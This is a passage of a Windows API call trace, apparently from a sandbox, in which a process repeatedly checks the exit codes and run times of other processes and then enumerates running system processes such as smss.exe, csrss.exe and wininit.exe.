(hObject=0x144) returned 1 [0131.293] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xb78) returned 0x144 [0131.293] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d040, lpExitTime=0xc00016d048, lpKernelTime=0xc00016d050, lpUserTime=0xc00016d058 | out: lpCreationTime=0xc00016d040, lpExitTime=0xc00016d048, lpKernelTime=0xc00016d050, lpUserTime=0xc00016d058) returned 1 [0131.293] CloseHandle (hObject=0x144) returned 1 [0131.294] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xb80) returned 0x144 [0131.294] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.294] CloseHandle (hObject=0x144) returned 1 [0131.294] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xb80) returned 0x144 [0131.294] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d060, lpExitTime=0xc00016d068, lpKernelTime=0xc00016d070, lpUserTime=0xc00016d078 | out: lpCreationTime=0xc00016d060, lpExitTime=0xc00016d068, lpKernelTime=0xc00016d070, lpUserTime=0xc00016d078) returned 1 [0131.294] CloseHandle (hObject=0x144) returned 1 [0131.294] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xb88) returned 0x144 [0131.295] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.295] CloseHandle (hObject=0x144) returned 1 [0131.295] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xb88) returned 0x144 [0131.295] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d080, lpExitTime=0xc00016d088, lpKernelTime=0xc00016d090, lpUserTime=0xc00016d098 | out: lpCreationTime=0xc00016d080, lpExitTime=0xc00016d088, lpKernelTime=0xc00016d090, lpUserTime=0xc00016d098) returned 1 [0131.295] CloseHandle (hObject=0x144) returned 1 [0131.295] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xb90) returned 0x144 [0131.296] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.296] CloseHandle (hObject=0x144) returned 1 [0131.296] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xb90) returned 0x144 [0131.296] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d0a0, lpExitTime=0xc00016d0a8, lpKernelTime=0xc00016d0b0, lpUserTime=0xc00016d0b8 | out: lpCreationTime=0xc00016d0a0, lpExitTime=0xc00016d0a8, lpKernelTime=0xc00016d0b0, lpUserTime=0xc00016d0b8) returned 1 [0131.296] CloseHandle (hObject=0x144) returned 1 [0131.296] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xb98) returned 0x144 [0131.297] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.297] CloseHandle (hObject=0x144) returned 1 [0131.297] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xb98) returned 0x144 [0131.297] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d0c0, lpExitTime=0xc00016d0c8, lpKernelTime=0xc00016d0d0, lpUserTime=0xc00016d0d8 | out: lpCreationTime=0xc00016d0c0, lpExitTime=0xc00016d0c8, lpKernelTime=0xc00016d0d0, lpUserTime=0xc00016d0d8) returned 1 [0131.297] CloseHandle (hObject=0x144) returned 1 [0131.298] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xba0) returned 0x144 [0131.298] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.298] CloseHandle (hObject=0x144) returned 1 [0131.298] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xba0) returned 0x144 [0131.298] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d0e0, lpExitTime=0xc00016d0e8, lpKernelTime=0xc00016d0f0, lpUserTime=0xc00016d0f8 | out: lpCreationTime=0xc00016d0e0, lpExitTime=0xc00016d0e8, lpKernelTime=0xc00016d0f0, lpUserTime=0xc00016d0f8) returned 1 [0131.298] CloseHandle (hObject=0x144) returned 1 [0131.299] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xba8) returned 0x144 [0131.299] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.299] CloseHandle (hObject=0x144) returned 1 [0131.299] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xba8) returned 0x144 [0131.299] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d100, lpExitTime=0xc00016d108, lpKernelTime=0xc00016d110, lpUserTime=0xc00016d118 | out: lpCreationTime=0xc00016d100, lpExitTime=0xc00016d108, lpKernelTime=0xc00016d110, lpUserTime=0xc00016d118) returned 1 [0131.299] CloseHandle (hObject=0x144) returned 1 [0131.300] VirtualAlloc (lpAddress=0xc0001c4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001c4000 [0131.300] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xbb0) returned 0x144 [0131.300] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.300] CloseHandle (hObject=0x144) returned 1 [0131.301] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xbb0) returned 0x144 [0131.301] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d120, lpExitTime=0xc00016d128, lpKernelTime=0xc00016d130, lpUserTime=0xc00016d138 | out: lpCreationTime=0xc00016d120, lpExitTime=0xc00016d128, lpKernelTime=0xc00016d130, lpUserTime=0xc00016d138) returned 1 [0131.301] CloseHandle (hObject=0x144) returned 1 [0131.301] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xbb8) returned 0x144 [0131.301] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.301] CloseHandle (hObject=0x144) returned 1 [0131.301] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xbb8) returned 0x144 [0131.302] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d140, lpExitTime=0xc00016d148, lpKernelTime=0xc00016d150, lpUserTime=0xc00016d158 | out: lpCreationTime=0xc00016d140, lpExitTime=0xc00016d148, lpKernelTime=0xc00016d150, lpUserTime=0xc00016d158) returned 1 [0131.302] CloseHandle (hObject=0x144) returned 1 [0131.302] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xbc0) returned 0x144 [0131.302] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.302] CloseHandle (hObject=0x144) returned 1 [0131.303] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xbc0) returned 0x144 [0131.303] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d160, lpExitTime=0xc00016d168, lpKernelTime=0xc00016d170, lpUserTime=0xc00016d178 | out: lpCreationTime=0xc00016d160, lpExitTime=0xc00016d168, lpKernelTime=0xc00016d170, lpUserTime=0xc00016d178) returned 1 [0131.303] CloseHandle (hObject=0x144) returned 1 [0131.303] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xbc8) returned 0x144 [0131.303] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.303] CloseHandle (hObject=0x144) returned 1 [0131.304] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xbc8) returned 0x144 [0131.304] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d180, lpExitTime=0xc00016d188, lpKernelTime=0xc00016d190, lpUserTime=0xc00016d198 | out: lpCreationTime=0xc00016d180, lpExitTime=0xc00016d188, lpKernelTime=0xc00016d190, lpUserTime=0xc00016d198) returned 1 [0131.304] CloseHandle (hObject=0x144) returned 1 [0131.304] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xbd4) returned 0x144 [0131.304] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.304] CloseHandle (hObject=0x144) returned 1 [0131.304] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xbd4) returned 0x144 [0131.305] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d1a0, lpExitTime=0xc00016d1a8, lpKernelTime=0xc00016d1b0, lpUserTime=0xc00016d1b8 | out: lpCreationTime=0xc00016d1a0, lpExitTime=0xc00016d1a8, lpKernelTime=0xc00016d1b0, lpUserTime=0xc00016d1b8) returned 1 [0131.305] CloseHandle (hObject=0x144) returned 1 [0131.305] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xbe0) returned 0x144 [0131.305] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.305] CloseHandle (hObject=0x144) returned 1 [0131.305] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xbe0) returned 0x144 [0131.306] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d1c0, lpExitTime=0xc00016d1c8, lpKernelTime=0xc00016d1d0, lpUserTime=0xc00016d1d8 | out: lpCreationTime=0xc00016d1c0, lpExitTime=0xc00016d1c8, lpKernelTime=0xc00016d1d0, lpUserTime=0xc00016d1d8) returned 1 [0131.306] CloseHandle (hObject=0x144) returned 1 [0131.306] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xbe8) returned 0x144 [0131.306] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.306] CloseHandle (hObject=0x144) returned 1 [0131.306] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xbe8) returned 0x144 [0131.306] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d1e0, lpExitTime=0xc00016d1e8, lpKernelTime=0xc00016d1f0, lpUserTime=0xc00016d1f8 | out: lpCreationTime=0xc00016d1e0, lpExitTime=0xc00016d1e8, lpKernelTime=0xc00016d1f0, lpUserTime=0xc00016d1f8) returned 1 [0131.307] CloseHandle (hObject=0x144) returned 1 [0131.307] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xbf0) returned 0x144 [0131.307] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.307] CloseHandle (hObject=0x144) returned 1 [0131.307] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xbf0) returned 0x144 [0131.307] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d200, lpExitTime=0xc00016d208, lpKernelTime=0xc00016d210, lpUserTime=0xc00016d218 | out: lpCreationTime=0xc00016d200, lpExitTime=0xc00016d208, lpKernelTime=0xc00016d210, lpUserTime=0xc00016d218) returned 1 [0131.308] CloseHandle (hObject=0x144) returned 1 [0131.308] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xbf8) returned 0x144 [0131.308] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.308] CloseHandle (hObject=0x144) returned 1 [0131.308] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xbf8) returned 0x144 [0131.308] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d220, lpExitTime=0xc00016d228, lpKernelTime=0xc00016d230, lpUserTime=0xc00016d238 | out: lpCreationTime=0xc00016d220, lpExitTime=0xc00016d228, lpKernelTime=0xc00016d230, lpUserTime=0xc00016d238) returned 1 [0131.308] CloseHandle (hObject=0x144) returned 1 [0131.309] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xc08) returned 0x144 [0131.309] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.309] CloseHandle (hObject=0x144) returned 1 [0131.309] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xc08) returned 0x144 [0131.309] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d240, lpExitTime=0xc00016d248, lpKernelTime=0xc00016d250, lpUserTime=0xc00016d258 | out: lpCreationTime=0xc00016d240, lpExitTime=0xc00016d248, lpKernelTime=0xc00016d250, lpUserTime=0xc00016d258) returned 1 [0131.309] CloseHandle (hObject=0x144) returned 1 [0131.310] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xc10) returned 0x144 [0131.310] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.310] CloseHandle (hObject=0x144) returned 1 [0131.310] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xc10) returned 0x144 [0131.310] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d260, lpExitTime=0xc00016d268, lpKernelTime=0xc00016d270, lpUserTime=0xc00016d278 | out: lpCreationTime=0xc00016d260, lpExitTime=0xc00016d268, lpKernelTime=0xc00016d270, lpUserTime=0xc00016d278) returned 1 [0131.310] CloseHandle (hObject=0x144) returned 1 [0131.310] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xc18) returned 0x144 [0131.311] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.311] CloseHandle (hObject=0x144) returned 1 [0131.311] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xc18) returned 0x144 [0131.311] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d280, lpExitTime=0xc00016d288, lpKernelTime=0xc00016d290, lpUserTime=0xc00016d298 | out: lpCreationTime=0xc00016d280, lpExitTime=0xc00016d288, lpKernelTime=0xc00016d290, lpUserTime=0xc00016d298) returned 1 [0131.311] CloseHandle (hObject=0x144) returned 1 [0131.311] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xc20) returned 0x144 [0131.312] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.312] CloseHandle (hObject=0x144) returned 1 [0131.312] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xc20) returned 0x144 [0131.312] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d2a0, lpExitTime=0xc00016d2a8, lpKernelTime=0xc00016d2b0, lpUserTime=0xc00016d2b8 | out: lpCreationTime=0xc00016d2a0, lpExitTime=0xc00016d2a8, lpKernelTime=0xc00016d2b0, lpUserTime=0xc00016d2b8) returned 1 [0131.313] CloseHandle (hObject=0x144) returned 1 [0131.313] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xc28) returned 0x144 [0131.313] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.313] CloseHandle (hObject=0x144) returned 1 [0131.313] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xc28) returned 0x144 [0131.313] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d2c0, lpExitTime=0xc00016d2c8, lpKernelTime=0xc00016d2d0, lpUserTime=0xc00016d2d8 | out: lpCreationTime=0xc00016d2c0, lpExitTime=0xc00016d2c8, lpKernelTime=0xc00016d2d0, lpUserTime=0xc00016d2d8) returned 1 [0131.314] CloseHandle (hObject=0x144) returned 1 [0131.314] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xc40) returned 0x144 [0131.314] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.314] CloseHandle (hObject=0x144) returned 1 [0131.314] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xc40) returned 0x144 [0131.314] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d2e0, lpExitTime=0xc00016d2e8, lpKernelTime=0xc00016d2f0, lpUserTime=0xc00016d2f8 | out: lpCreationTime=0xc00016d2e0, lpExitTime=0xc00016d2e8, lpKernelTime=0xc00016d2f0, lpUserTime=0xc00016d2f8) returned 1 [0131.315] CloseHandle (hObject=0x144) returned 1 [0131.315] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xc48) returned 0x144 [0131.315] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.315] CloseHandle (hObject=0x144) returned 1 [0131.315] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xc48) returned 0x144 [0131.315] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d300, lpExitTime=0xc00016d308, lpKernelTime=0xc00016d310, lpUserTime=0xc00016d318 | out: lpCreationTime=0xc00016d300, lpExitTime=0xc00016d308, lpKernelTime=0xc00016d310, lpUserTime=0xc00016d318) returned 1 [0131.316] CloseHandle (hObject=0x144) returned 1 [0131.316] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xc50) returned 0x144 [0131.316] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.316] CloseHandle (hObject=0x144) returned 1 [0131.316] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xc50) returned 0x144 [0131.316] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d320, lpExitTime=0xc00016d328, lpKernelTime=0xc00016d330, lpUserTime=0xc00016d338 | out: lpCreationTime=0xc00016d320, lpExitTime=0xc00016d328, lpKernelTime=0xc00016d330, lpUserTime=0xc00016d338) returned 1 [0131.317] CloseHandle (hObject=0x144) returned 1 [0131.317] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xc58) returned 0x144 [0131.317] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.317] CloseHandle (hObject=0x144) returned 1 [0131.317] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xc58) returned 0x144 [0131.317] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d340, lpExitTime=0xc00016d348, lpKernelTime=0xc00016d350, lpUserTime=0xc00016d358 | out: lpCreationTime=0xc00016d340, lpExitTime=0xc00016d348, lpKernelTime=0xc00016d350, lpUserTime=0xc00016d358) returned 1 [0131.318] CloseHandle (hObject=0x144) returned 1 [0131.318] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xc60) returned 0x144 [0131.318] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.318] CloseHandle (hObject=0x144) returned 1 [0131.318] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xc60) returned 0x144 [0131.319] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d360, lpExitTime=0xc00016d368, lpKernelTime=0xc00016d370, lpUserTime=0xc00016d378 | out: lpCreationTime=0xc00016d360, lpExitTime=0xc00016d368, lpKernelTime=0xc00016d370, lpUserTime=0xc00016d378) returned 1 [0131.319] CloseHandle (hObject=0x144) returned 1 [0131.320] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xc68) returned 0x144 [0131.320] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.320] CloseHandle (hObject=0x144) returned 1 [0131.321] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xc68) returned 0x144 [0131.321] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d380, lpExitTime=0xc00016d388, lpKernelTime=0xc00016d390, lpUserTime=0xc00016d398 | out: lpCreationTime=0xc00016d380, lpExitTime=0xc00016d388, lpKernelTime=0xc00016d390, lpUserTime=0xc00016d398) returned 1 [0131.321] CloseHandle (hObject=0x144) returned 1 [0131.321] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xd04) returned 0x144 [0131.321] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.321] CloseHandle (hObject=0x144) returned 1 [0131.322] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xd04) returned 0x144 [0131.322] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d3a0, lpExitTime=0xc00016d3a8, lpKernelTime=0xc00016d3b0, lpUserTime=0xc00016d3b8 | out: lpCreationTime=0xc00016d3a0, lpExitTime=0xc00016d3a8, lpKernelTime=0xc00016d3b0, lpUserTime=0xc00016d3b8) returned 1 [0131.322] CloseHandle (hObject=0x144) returned 1 [0131.322] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xed0) returned 0x144 [0131.323] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.323] CloseHandle (hObject=0x144) returned 1 [0131.323] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xed0) returned 0x144 [0131.323] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d3c0, lpExitTime=0xc00016d3c8, lpKernelTime=0xc00016d3d0, lpUserTime=0xc00016d3d8 | out: lpCreationTime=0xc00016d3c0, lpExitTime=0xc00016d3c8, lpKernelTime=0xc00016d3d0, lpUserTime=0xc00016d3d8) returned 1 [0131.323] CloseHandle (hObject=0x144) returned 1 [0131.323] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xf64) returned 0x144 [0131.324] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.324] CloseHandle (hObject=0x144) returned 1 [0131.324] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xf64) returned 0x144 [0131.324] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d3e0, lpExitTime=0xc00016d3e8, lpKernelTime=0xc00016d3f0, lpUserTime=0xc00016d3f8 | out: lpCreationTime=0xc00016d3e0, lpExitTime=0xc00016d3e8, lpKernelTime=0xc00016d3f0, lpUserTime=0xc00016d3f8) returned 1 [0131.324] CloseHandle (hObject=0x144) returned 1 [0131.324] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xf6c) returned 0x144 [0131.324] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.324] CloseHandle (hObject=0x144) returned 1 [0131.325] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xf6c) returned 0x144 [0131.325] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d400, lpExitTime=0xc00016d408, lpKernelTime=0xc00016d410, lpUserTime=0xc00016d418 | out: lpCreationTime=0xc00016d400, lpExitTime=0xc00016d408, lpKernelTime=0xc00016d410, lpUserTime=0xc00016d418) returned 1 [0131.325] CloseHandle (hObject=0x144) returned 1 [0131.348] GetProcAddress (hModule=0x77660000, lpProcName="CreateToolhelp32Snapshot") returned 0x77661c10 [0131.348] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x144 [0131.376] GetProcAddress (hModule=0x77660000, lpProcName="Process32FirstW") returned 0x77661910 [0131.376] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0131.378] CloseHandle (hObject=0x144) returned 1 [0131.525] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x4) returned 0x144 [0131.552] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0131.554] GetProcAddress (hModule=0x77660000, lpProcName="Process32NextW") returned 0x77661b20 [0131.554] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0131.556] CloseHandle (hObject=0x144) returned 1 [0131.557] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x10c) returned 0x144 [0131.678] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0131.681] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0131.683] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0131.685] CloseHandle (hObject=0x144) returned 1 [0131.686] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x11c) returned 0x144 [0131.780] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0131.782] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0131.784] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0131.786] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0131.788] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0131.790] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x170, pcPriClassBase=13, 